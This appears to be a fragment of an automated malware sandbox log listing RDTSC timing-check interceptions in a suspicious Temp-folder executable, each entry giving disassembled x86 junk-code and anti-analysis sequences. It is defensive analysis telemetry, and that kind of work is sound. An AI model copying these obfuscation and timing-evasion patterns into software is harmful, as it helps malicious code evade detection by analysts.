Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE6D1 second address: DFE6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE6D7 second address: DFE77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnp 00007FE580B2A1B0h 0x0000000d jmp 00007FE580B2A1AAh 0x00000012 nop 0x00000013 jmp 00007FE580B2A1AFh 0x00000018 push 00000000h 0x0000001a jns 00007FE580B2A1A6h 0x00000020 push 93459DD6h 0x00000025 jmp 00007FE580B2A1B8h 0x0000002a add dword ptr [esp], 6CBA62AAh 0x00000031 or dh, FFFFFFD9h 0x00000034 push 00000003h 0x00000036 jmp 00007FE580B2A1B5h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007FE580B2A1A8h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 mov ecx, dword ptr [ebp+122D2B62h] 0x0000005d push 00000003h 0x0000005f mov dword ptr [ebp+122D1C17h], ebx 0x00000065 push B9D39AB2h 0x0000006a push esi 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE77E second address: DFE782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE80E second address: DFE888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D3A9Bh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FE580B2A1A8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b cld 0x0000002c push A07CDF42h 0x00000031 jns 00007FE580B2A1AEh 0x00000037 add dword ptr [esp], 5F83213Eh 0x0000003e mov dl, al 0x00000040 mov si, 8A92h 0x00000044 push 00000003h 0x00000046 mov cx, si 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c xor dword ptr [ebp+122D1C3Fh], edx 0x00000052 pop edi 0x00000053 push 00000003h 0x00000055 mov dword ptr [ebp+1243F81Fh], edi 0x0000005b call 00007FE580B2A1A9h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pop edx 0x00000065 pop eax 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE888 second address: DFE8CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007FE580CED97Ah 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 jns 00007FE580CED97Ch 0x0000001e pop eax 0x0000001f mov eax, dword ptr [eax] 0x00000021 jnc 00007FE580CED983h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFE8CB second address: DFE8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2008F second address: E200C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE580CED976h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e jc 00007FE580CED976h 0x00000014 ja 00007FE580CED976h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE580CED984h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E200C2 second address: E200EF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FE580B2A1B9h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FE580B2A1A6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1DEBF second address: E1DEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED97Fh 0x00000009 popad 0x0000000a jmp 00007FE580CED988h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1E06D second address: E1E094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jno 00007FE580B2A1A6h 0x00000010 pop edx 0x00000011 pushad 0x00000012 jne 00007FE580B2A1A6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007FE580B2A1ACh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1E094 second address: E1E0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1E249 second address: E1E25D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007FE580B2A1A6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FE580B2A1A6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1E25D second address: E1E261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1E957 second address: E1E967 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FE580B2A1A6h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1EC51 second address: E1EC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE580CED983h 0x0000000b jmp 00007FE580CED985h 0x00000010 jmp 00007FE580CED97Ch 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1EC8C second address: E1ECA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580B2A1ACh 0x00000009 jnp 00007FE580B2A1A6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1ECA2 second address: E1ECA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1EDF1 second address: E1EE00 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E1EE00 second address: E1EE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DECBA0 second address: DECBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DECBA6 second address: DECBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2880C second address: E28814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28814 second address: E28826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE580CED976h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28826 second address: E2882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2882B second address: E28832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28832 second address: E28842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28842 second address: E28849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28849 second address: E2886F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580B2A1A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE580B2A1B6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2721F second address: E27230 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E27230 second address: E27234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E27234 second address: E27243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007FE580CED976h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E289B7 second address: E289BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E28B0D second address: E28B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED987h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2D0AA second address: E2D0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2D0B1 second address: E2D0C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE580CED976h 0x0000000a jmp 00007FE580CED97Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2D0C5 second address: E2D0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2D0C9 second address: E2D0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE580CED976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2D0D9 second address: E2D0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2C4BE second address: E2C4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE580CED976h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2C4C8 second address: E2C4FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE580B2A1B1h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2C4FC second address: E2C51C instructions: 0x00000000 rdtsc 0x00000002 je 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580CED97Ch 0x00000013 jbe 00007FE580CED976h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2C51C second address: E2C520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2C7A8 second address: E2C7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE580CED981h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2CC69 second address: E2CCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B9h 0x00000009 jmp 00007FE580B2A1B1h 0x0000000e popad 0x0000000f jmp 00007FE580B2A1B8h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007FE580B2A1A6h 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE580B2A1B8h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2E69E second address: E2E6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2E720 second address: E2E724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2EE68 second address: E2EE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2F3D9 second address: E2F3F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FE580B2A1A8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2F70C second address: E2F712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2F712 second address: E2F716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E2FAD8 second address: E2FADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E30094 second address: E300ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007FE580B2A1AEh 0x0000000d nop 0x0000000e sub dword ptr [ebp+1243F0DEh], edi 0x00000014 push 00000000h 0x00000016 adc edi, 2AC43CDEh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FE580B2A1A8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 xor dword ptr [ebp+122D2CDEh], edx 0x0000003e mov dword ptr [ebp+122D2CDEh], esi 0x00000044 push eax 0x00000045 pushad 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E300ED second address: E30107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FE580CED982h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E32A3C second address: E32A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580B2A1B3h 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E32A57 second address: E32A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E32FCA second address: E33061 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE580B2A1B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FE580B2A1B1h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FE580B2A1A8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xor dword ptr [ebp+124490E1h], esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FE580B2A1A8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D35E6h] 0x00000056 mov edi, dword ptr [ebp+122D3803h] 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 jne 00007FE580B2A1A6h 0x00000066 pop eax 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3126B second address: E31271 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E31271 second address: E31277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E31277 second address: E3127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E34491 second address: E34496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E34496 second address: E344B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE580CED985h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E344B0 second address: E344C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FE580B2A1ACh 0x00000010 jc 00007FE580B2A1A6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E344C6 second address: E3453E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED984h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a clc 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FE580CED978h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007FE580CED989h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D3917h], eax 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007FE580CED983h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3453E second address: E34544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E34544 second address: E34551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E34551 second address: E3456C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E35026 second address: E3502C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E3502C second address: E35030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: E364CF second address: E364D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
